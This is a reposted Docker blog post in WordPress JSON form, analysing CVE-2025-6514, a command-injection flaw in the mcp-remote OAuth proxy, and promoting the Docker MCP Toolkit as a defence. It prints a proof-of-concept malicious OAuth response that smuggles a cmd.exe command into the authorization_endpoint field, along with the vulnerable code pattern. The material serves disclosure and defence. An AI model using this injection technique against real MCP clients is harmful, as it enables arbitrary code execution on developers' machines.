{"id":2344,"date":"2025-08-07T18:12:58","date_gmt":"2025-08-07T18:12:58","guid":{"rendered":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/2025\/08\/07\/mcp-horror-stories-the-supply-chain-attack\/"},"modified":"2025-08-07T18:12:58","modified_gmt":"2025-08-07T18:12:58","slug":"mcp-horror-stories-the-supply-chain-attack","status":"publish","type":"post","link":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/2025\/08\/07\/mcp-horror-stories-the-supply-chain-attack\/","title":{"rendered":"MCP Horror Stories: The Supply Chain Attack"},"content":{"rendered":"<p>This is Part 2 of our <em>MCP Horror Stories <\/em>series, an in-depth look at real-world security incidents exposing the vulnerabilities in AI infrastructure, and how the Docker MCP Toolkit delivers enterprise-grade protection.<\/p>\n<p>The Model Context Protocol (MCP) promised to be the \u201cUSB-C for AI applications\u201d \u2013 a universal standard enabling AI agents like ChatGPT, Claude, and GitHub Copilot to safely connect to any tool or service. From reading emails and updating databases to managing Kubernetes clusters and sending Slack messages, MCP creates a standardized bridge between AI applications and the real world.<\/p>\n<p>But as we discovered in <a href=\"https:\/\/www.docker.com\/blog\/mcp-security-issues-threatening-ai-infrastructure\/\">Part 1 of this series<\/a>, that promise has become a security nightmare. For Part 2, we\u2019re covering a critical OAuth vulnerability in mcp-remote that led to credential compromise and remote code execution across AI development environments.<\/p>\n<h2 class=\"wp-block-heading\">Today\u2019s Horror Story: The Supply Chain Attack That Compromised 437,000 Environments<\/h2>\n<p>In this issue, we dive deep into <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-6514\" target=\"_blank\">CVE-2025-6514 <\/a>\u2013 a critical vulnerability that turned mcp-remote, a trusted OAuth proxy used by nearly half a million developers, into a remote code execution nightmare. This supply chain attack represents the first documented case of full system compromise achieved through the MCP infrastructure, affecting AI development environments at organizations using Cloudflare, Hugging Face, Auth0, and countless others.<\/p>\n<p>You\u2019ll learn:<\/p>\n<p>How a simple OAuth configuration became a system-wide security breach<\/p>\n<p>The specific attack techniques that bypass traditional security controls<\/p>\n<p>Why containerized MCP servers prevent entire classes of these attacks<\/p>\n<p>Practical steps to secure your AI development environment today<\/p>\n<h3 class=\"wp-block-heading\">Why This Series Matters<\/h3>\n<p>Each \u201cHorror Story\u201d in this series examines a real-world security incident that transforms laboratory findings into production disasters. These aren\u2019t hypothetical attacks \u2013 they\u2019re documented cases where the <a href=\"https:\/\/www.docker.com\/blog\/mcp-security-issues-threatening-ai-infrastructure\/\">MCP security issues and vulnerabilities<\/a> we identified in Part 1 have been successfully exploited against actual organizations and developers.<\/p>\n<p>Our goal is to show the human impact behind the statistics, demonstrate how these attacks unfold in practice, and provide concrete guidance on protecting your AI development infrastructure through Docker\u2019s security-first approach to MCP deployment.<\/p>\n<p>The story begins with something every developer has done: configuring their AI client to connect to a new tool\u2026<\/p>\n<div class=\"wp-block-ponyo-image\"><\/div>\n<p><em>Caption: comic depicting OAuth vulnerability in mcp-remote horror story ~ a remote code execution nightmare<\/em><\/p>\n<h3 class=\"wp-block-heading\">The Problem<\/h3>\n<p>In July 2025, <a href=\"https:\/\/jfrog.com\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/?utm_source=mcp-remote&amp;utm_medium=mediaalert&amp;utm_campaign=mcpremote&amp;utm_content=MA\" target=\"_blank\">JFrog Security Research<\/a> discovered <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-6514\" target=\"_blank\">CVE-2025-6514<\/a>. CVE-2025-6514 is a critical vulnerability in mcp-remote that affects how AI tools like Claude Desktop, VS Code, and Cursor connect to external services. With a devastating CVSS score of 9.6 out of 10, this vulnerability represents the first documented case of full remote code execution achieved against an MCP client in a real-world scenario.<\/p>\n<h3 class=\"wp-block-heading\">The Scale of the Problem<\/h3>\n<p>The impact is staggering. The mcp-remote package has been <a href=\"https:\/\/npm-stat.com\/charts.html?package=mcp-remote\" target=\"_blank\">downloaded more than 437,000 times<\/a>, making this vulnerability a supply chain attack affecting hundreds of thousands of AI development environments. mcp-remote has been featured in integration guides from major platforms, including <a href=\"https:\/\/developers.cloudflare.com\/agents\/guides\/remote-mcp-server\/\" target=\"_blank\">Cloudflare<\/a>, <a href=\"https:\/\/huggingface.co\/blog\/lynn-mikami\/remote-mcp-cloudflare\" target=\"_blank\">Hugging Face<\/a>, and <a href=\"https:\/\/auth0.com\/blog\/secure-and-deploy-remote-mcp-servers-with-auth0-and-cloudflare\/\" target=\"_blank\">Auth0<\/a>, demonstrating its widespread enterprise adoption.<\/p>\n<h3 class=\"wp-block-heading\">How the Attack Works<\/h3>\n<p>Here\u2019s what happened: <a href=\"https:\/\/github.com\/geelen\/mcp-remote\" target=\"_blank\">mcp-remote<\/a>, a widely-used OAuth proxy for AI applications, trusts server-provided OAuth endpoints without validation. An attacker crafted a malicious authorization URL that gets executed directly by your system\u2019s shell. When you configure your AI client to use a new tool, you\u2019re essentially trusting that tool\u2019s server to behave properly. CVE-2025-6514 shows what happens when that trust is misplaced.<\/p>\n<p>To understand how CVE-2025-6514 became possible, we need to examine the Model Context Protocol\u2019s architecture and identify the specific design decisions that created this attack vector. MCP consists of several interconnected components, each representing a potential point of failure in the security model.<\/p>\n<p><strong>MCP Client<\/strong> represents AI applications like Claude Desktop, VS Code, or Cursor that receive user prompts and coordinate API calls. In CVE-2025-6514, the client becomes an unwitting enabler, faithfully executing what it believes are legitimate OAuth flows without validating endpoint security.<\/p>\n<p><strong>mcp-remote (Third-Party OAuth Proxy)<\/strong> serves as the critical vulnerability point\u2014a community-built bridge that emerged to address OAuth limitations while the MCP specification continues evolving its authentication support. This proxy handles OAuth discovery, processes server-provided metadata, and integrates with system URL handlers. However, this third-party solution\u2019s blind trust in server-provided OAuth endpoints creates the direct pathway from malicious JSON to system compromise.<\/p>\n<div class=\"wp-block-ponyo-image\"><\/div>\n<p><em>Caption: diagram showing the authentication workflow and attack surface<\/em><\/p>\n<p><strong>Communication Protocol<\/strong> carries JSON-RPC messages between clients and servers, including the malicious OAuth metadata that triggers CVE-2025-6514. The protocol lacks built-in validation mechanisms to detect command injection attempts in OAuth endpoints.<\/p>\n<p><strong>System Integration<\/strong> connects mcp-remote to operating system services through URL handlers and shell execution. When mcp-remote processes malicious OAuth endpoints, it passes them directly to system handlers\u2014PowerShell on Windows, shell commands on Unix\u2014enabling arbitrary code execution.<\/p>\n<p><strong>The vulnerability happens in step 4.<\/strong> mcp-remote receives OAuth metadata from the server and passes authorization endpoints directly to the system without validation.<\/p>\n<h2 class=\"wp-block-heading\"><strong>Technical Breakdown: The Attack<\/strong><\/h2>\n<p>Here\u2019s how a developer\u2019s machine and data get compromised:<\/p>\n<h4 class=\"wp-block-heading\">1. Legitimate Setup<\/h4>\n<p>When users want to configure their LLM host, such as Claude Desktop, to connect to a remote MCP server, they follow standard procedures by editing Claude\u2019s configuration file to add an mcp-remote command with only the remote MCP server\u2019s URL:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n{<br \/>\n  &#8220;mcpServers&#8221;: {<br \/>\n    &#8220;remote-mcp-server-example&#8221;: {<br \/>\n      &#8220;command&#8221;: &#8220;npx&#8221;,<br \/>\n      &#8220;args&#8221;: [<br \/>\n         &#8220;mcp-remote&#8221;,<br \/>\n         &#8220;http:\/\/remote.server.example.com\/mcp&#8221;<br \/>\n      ]<br \/>\n    }<br \/>\n  }<br \/>\n}\n<\/div>\n<h4 class=\"wp-block-heading\">2. OAuth Discovery Request<\/h4>\n<p>When the developer restarts Claude Desktop, mcp-remote makes a request to http:\/\/remote.server.example.com\/.well-known\/oauth-authorization-server to get OAuth metadata.<\/p>\n<h4 class=\"wp-block-heading\">3. Malicious Response<\/h4>\n<p>Instead of legitimate OAuth config, the compromised server returns:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n{<br \/>\n  &#8220;authorization_endpoint&#8221;: &#8220;a:$(cmd.exe \/c whoami &gt; c:\\temp\\pwned.txt)&#8221;,<br \/>\n  &#8220;registration_endpoint&#8221;: &#8220;https:\/\/remote.server.example.com\/register&#8221;,<br \/>\n  &#8220;code_challenge_methods_supported&#8221;: [&#8220;S256&#8221;]<br \/>\n}\n<\/div>\n<p>Note: The a: protocol prefix exploits the fact that non-existing URI schemes don\u2019t get URL-encoded, allowing the $() PowerShell subexpression to execute. This specific technique was discovered by JFrog Security Research as the most reliable way to achieve full command execution.<\/p>\n<h4 class=\"wp-block-heading\">4. Code Execution<\/h4>\n<p>mcp-remote processes this like any OAuth endpoint and attempts to open it in a browser:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n\/\/ Vulnerable code pattern in mcp-remote (from auth.ts)<br \/>\nconst authUrl = oauthConfig.authorization_endpoint;<br \/>\n\/\/ No validation of URL format or protocol<br \/>\nawait open(authUrl.toString()); \/\/ Uses &#8216;open&#8217; npm package\n<\/div>\n<p>The open() function on Windows executes:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\npowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand &#8216;&#8230;&#8217;\n<\/div>\n<p>Which decodes and runs:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\nStart &#8220;a:$(cmd.exe \/c whoami &gt; c:\\temp\\pwned.txt)&#8221;\n<\/div>\n<p>The a: protocol triggers Windows\u2019 protocol handler, and the $() PowerShell subexpression operator executes the embedded cmd.exe command with your user privileges.<\/p>\n<h3 class=\"wp-block-heading\">The Impact<\/h3>\n<p>Within seconds, the attacker now has:<\/p>\n<p>Your development machine compromised<\/p>\n<p>Ability to execute arbitrary commands<\/p>\n<p>Access to environment variables and credentials<\/p>\n<p>Potential access to your company\u2019s internal repositories<\/p>\n<h2 class=\"wp-block-heading\">How Docker MCP Toolkit Eliminates This Attack Vector<\/h2>\n<p>The current MCP ecosystem forces developers into a dangerous trade-off between convenience and security. Every time you run npx -y @untrusted\/mcp-server or uvx some-mcp-tool, you\u2019re executing arbitrary code directly on your host system with full access to:<\/p>\n<p>Your entire file system<\/p>\n<p>All network connections<\/p>\n<p>Environment variables and secrets<\/p>\n<p>System resources<\/p>\n<p>This is exactly how CVE-2025-6514 achieves system compromise\u2014through trusted execution paths that become attack vectors. When mcp-remote processes malicious OAuth endpoints, it passes them directly to your system\u2019s shell, enabling arbitrary code execution with your user privileges.<\/p>\n<h3 class=\"wp-block-heading\">Docker\u2019s Security-First Architecture<\/h3>\n<p>Docker MCP Catalog and Toolkit represent a fundamental shift toward making security the path of least resistance. Rather than patching individual vulnerabilities, Docker built an entirely new distribution and execution model that eliminates entire classes of attacks by design. The explosive adoption of Docker\u2019s MCP Catalog \u2013 surpassing 5 million pulls in just a few weeks \u2013 demonstrates that developers are hungry for a secure way to run MCP servers.\u00a0<\/p>\n<p>Docker MCP Catalog and Toolkit fundamentally solves CVE-2025-6514 by eliminating the vulnerable architecture entirely. Unlike npm packages that can be hijacked or compromised, Docker MCP Catalog and Toolkit include:<\/p>\n<p><strong>Cryptographic verification<\/strong> ensuring images haven\u2019t been tampered with<\/p>\n<p><strong>Transparent build processes<\/strong> for Docker-built servers<\/p>\n<p><strong>Continuous security scanning<\/strong> for known vulnerabilities<\/p>\n<p><strong>Immutable distribution<\/strong> through Docker Hub\u2019s secure infrastructure<\/p>\n<h3 class=\"wp-block-heading\">Eliminating Vulnerable Proxy Patterns<\/h3>\n<h4 class=\"wp-block-heading\">1. Native OAuth Integration<\/h4>\n<p>Instead of relying on mcp-remote, Docker Desktop handles OAuth directly:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# No vulnerable mcp-remote needed<br \/>\ndocker mcp oauth ls<br \/>\ngithub | not authorized<br \/>\ngdrive | not authorized\n<p># Secure OAuth through Docker Desktop<br \/>\ndocker mcp oauth authorize github<br \/>\n# Opens browser securely via Docker&#8217;s OAuth flow<\/p>\n<p>docker mcp oauth ls<br \/>\ngithub | authorized<br \/>\ngdrive | not authorized  <\/p>\n<\/div>\n<h4 class=\"wp-block-heading\">2. No More mcp-remote Proxy<\/h4>\n<p>Instead of using vulnerable proxy tools, Docker provides containerized MCP servers:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Traditional vulnerable approach:<br \/>\n{<br \/>\n  &#8220;mcpServers&#8221;: {<br \/>\n    &#8220;remote-server&#8221;: {<br \/>\n      &#8220;command&#8221;: &#8220;npx&#8221;,<br \/>\n      &#8220;args&#8221;: [&#8220;mcp-remote&#8221;, &#8220;http:\/\/remote.server.example.com\/mcp&#8221;]<br \/>\n    }<br \/>\n  }<br \/>\n}\n<p># Docker MCP Toolkit approach:<br \/>\ndocker mcp server enable github-official<br \/>\ndocker mcp server enable grafana\n<\/p><\/div>\n<p>No proxy = No proxy vulnerabilities.<\/p>\n<h4 class=\"wp-block-heading\">3. Container Isolation with Security Controls<\/h4>\n<p>While containerization doesn\u2019t prevent CVE-2025-6514 (since that vulnerability occurs in the host-based proxy), Docker MCP provides defense-in-depth through container isolation for other attack vectors:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Maximum security configuration<br \/>\ndocker mcp gateway run <br \/>\n  &#8211;verify-signatures <br \/>\n  &#8211;block-network <br \/>\n  &#8211;block-secrets <br \/>\n  &#8211;cpus 1 <br \/>\n  &#8211;memory 1Gb\n<\/div>\n<p>This protects against tool-based attacks, command injection in MCP servers, and other container-breakout attempts.<\/p>\n<h4 class=\"wp-block-heading\">4. Secure Secret Management<\/h4>\n<p>Instead of environment variables, Docker MCP uses Docker Desktop\u2019s secure secret store:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Secure secret management<br \/>\ndocker mcp secret set GITHUB_TOKEN=ghp_your_token<br \/>\ndocker mcp secret ls<br \/>\n# Secrets are never exposed as environment variables\n<\/div>\n<h4 class=\"wp-block-heading\">5. Network Security Controls<\/h4>\n<p>Prevent unauthorized outbound connections:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Zero-trust networking<br \/>\ndocker mcp gateway run &#8211;block-network<br \/>\n# Only allows pre-approved destinations like api.github.com:443\n<\/div>\n<h4 class=\"wp-block-heading\">6. Real-Time Threat Protection<\/h4>\n<p>Active monitoring and prevention:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Block secret exfiltration<br \/>\ndocker mcp gateway run &#8211;block-secrets<br \/>\n# Scans tool responses for leaked credentials\n<p># Resource limits prevent crypto miners<br \/>\ndocker mcp gateway run &#8211;cpus 1 &#8211;memory 512Mb\n<\/p><\/div>\n<h4 class=\"wp-block-heading\">7. Attack Prevention in Practice<\/h4>\n<p>The same attack that works against traditional MCP fails against Docker:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n# Traditional MCP (vulnerable to CVE-2025-6514)<br \/>\nnpx mcp-remote http:\/\/malicious-server.com\/mcp<br \/>\n# \u2192 OAuth endpoint executed on host \u2192 PowerShell RCE \u2192 System compromised\n<p># Docker MCP (attack contained)<br \/>\ndocker mcp server enable untrusted-server<br \/>\n# \u2192 Runs in container \u2192 L7 proxy controls network \u2192 Secrets protected \u2192 Host safe<\/p>\n<\/div>\n<h4 class=\"wp-block-heading\">8. Practical Security Improvements<\/h4>\n<p>Here\u2019s what you get with Docker MCP Toolkit:<\/p>\n<div class=\"wp-block-ponyo-table style__default\">\n<p>Security Aspect<\/p>\n<p>Traditional MCP<\/p>\n<p>Docker MCP Toolkit<\/p>\n<p>Execution Model<\/p>\n<p>Direct host execution via npx\/mcp-remote<\/p>\n<p>Containerized isolation<\/p>\n<p>OAuth Handling<\/p>\n<p>Vulnerable proxy with shell execution<\/p>\n<p>No proxy needed, secure gateway<\/p>\n<p>Secret Management<\/p>\n<p>Environment variables<\/p>\n<p>Docker Desktop secure store<\/p>\n<p>Network Access<\/p>\n<p>Unrestricted host networking<\/p>\n<p>L7 proxy with allowlisted destinations<\/p>\n<p>Resource Controls<\/p>\n<p>None<\/p>\n<p>CPU\/memory limits, container isolation<\/p>\n<p>Monitoring<\/p>\n<p>No visibility<\/p>\n<p>Comprehensive logging with &#8211;log-calls<\/p>\n<\/div>\n<h2 class=\"wp-block-heading\">Best Practices for Secure MCP Deployment<\/h2>\n<p>Start with Docker-built servers \u2013 Choose the gold standard when available<\/p>\n<p>Migrate from mcp-remote \u2013 Use containerized MCP servers instead<\/p>\n<p>Enable security controls \u2013 Use &#8211;block-network and &#8211;block-secrets<\/p>\n<p>Verify images \u2013 Use &#8211;verify-signatures for supply chain security<\/p>\n<p>Set resource limits \u2013 Prevent resource exhaustion attacks<\/p>\n<p>Monitor tool calls \u2013 Enable logging with &#8211;log-calls for audit trails<\/p>\n<p>Regular security updates \u2013 Keep Docker MCP Toolkit updated<\/p>\n<h2 class=\"wp-block-heading\">Take Action: Secure Your AI Development Today<\/h2>\n<p>The path to secure MCP development starts with a single step. Here\u2019s how you can join the movement away from vulnerable MCP practices:<\/p>\n<p>Browse the<a href=\"https:\/\/hub.docker.com\/mcp\" target=\"_blank\"> Docker MCP Catalog<\/a> to find containerized, verified MCP servers that replace risky npm packages with enterprise-grade security.<\/p>\n<p>Install<a href=\"https:\/\/www.docker.com\/products\/docker-desktop\/\"> Docker Desktop<\/a> and run MCP servers safely in isolated containers with help with Docker MCP Toolkit. Compatible with all major AI clients including Claude Desktop, Cursor, VS Code, and more\u2014without the security risks.<\/p>\n<p>Have an MCP server? Help build the secure ecosystem by<a href=\"https:\/\/github.com\/docker\/mcp-registry\" target=\"_blank\"> submitting it<\/a> to the Docker catalog. Choose Docker-built for maximum security or community-built for container isolation benefits.<\/p>\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n<p>CVE-2025-6514 demonstrates why the current MCP ecosystem needs fundamental security improvements. By <a href=\"https:\/\/www.docker.com\/products\/mcp-catalog-and-toolkit\/\">containerizing MCP servers<\/a> and eliminating vulnerable proxy patterns, Docker MCP Toolkit doesn\u2019t just patch this specific vulnerability\u2014it prevents entire classes of host-based attacks.<\/p>\n<p><em>Coming up in our series: MCP Horror Stories issue 3 will explore how GitHub\u2019s official MCP integration became a vector for private repository data theft through prompt injection attacks.<\/em><\/p>\n<h3 class=\"wp-block-heading\">Learn more<\/h3>\n<p><strong>Explore the MCP Catalog<\/strong>: <a href=\"https:\/\/hub.docker.com\/mcp\" target=\"_blank\">Visit the MCP Catalog<\/a><a href=\"http:\/\/hub.docker.com\/mcp\" target=\"_blank\"> <\/a>to discover MCP servers that solve your specific needs securely.<\/p>\n<p><strong>Use and test hundreds of MCP Servers<\/strong>: <a href=\"https:\/\/www.docker.com\/products\/docker-desktop\/\">Download Docker Desktop<\/a><a href=\"http:\/\/hub.docker.com\/mcp\" target=\"_blank\"> <\/a>to download and use any MCP server in our catalog with your favorite clients: Gordon, Claude, Cursor, VSCode, etc<\/p>\n<p><strong>Submit your server<\/strong>: Join the movement toward secure AI tool distribution. <a href=\"https:\/\/github.com\/docker\/mcp-registry\" target=\"_blank\">Check our submission guidelines<\/a> for more.<\/p>\n<p><strong>Follow our progress<\/strong>: Star our repository and watch for updates on the <a href=\"https:\/\/github.com\/docker\/mcp-gateway\" target=\"_blank\">MCP Gateway release <\/a>and remote server capabilities.<\/p>\n<p>Read <a href=\"https:\/\/www.docker.com\/blog\/mcp-security-issues-threatening-ai-infrastructure\/\">issue #1<\/a> of this MCP Horror Stories series<\/p>","protected":false},"excerpt":{"rendered":"<p>This is Part 2 of our MCP Horror Stories series, an in-depth look at real-world security incidents exposing the vulnerabilities [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[4],"tags":[],"class_list":["post-2344","post","type-post","status-publish","format-standard","hentry","category-docker"],"_links":{"self":[{"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/posts\/2344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/comments?post=2344"}],"version-history":[{"count":0,"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/posts\/2344\/revisions"}],"wp:attachment":[{"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/media?parent=2344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/categories?post=2344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rssfeedtelegrambot.bnaya.co.il\/index.php\/wp-json\/wp\/v2\/tags?post=2344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}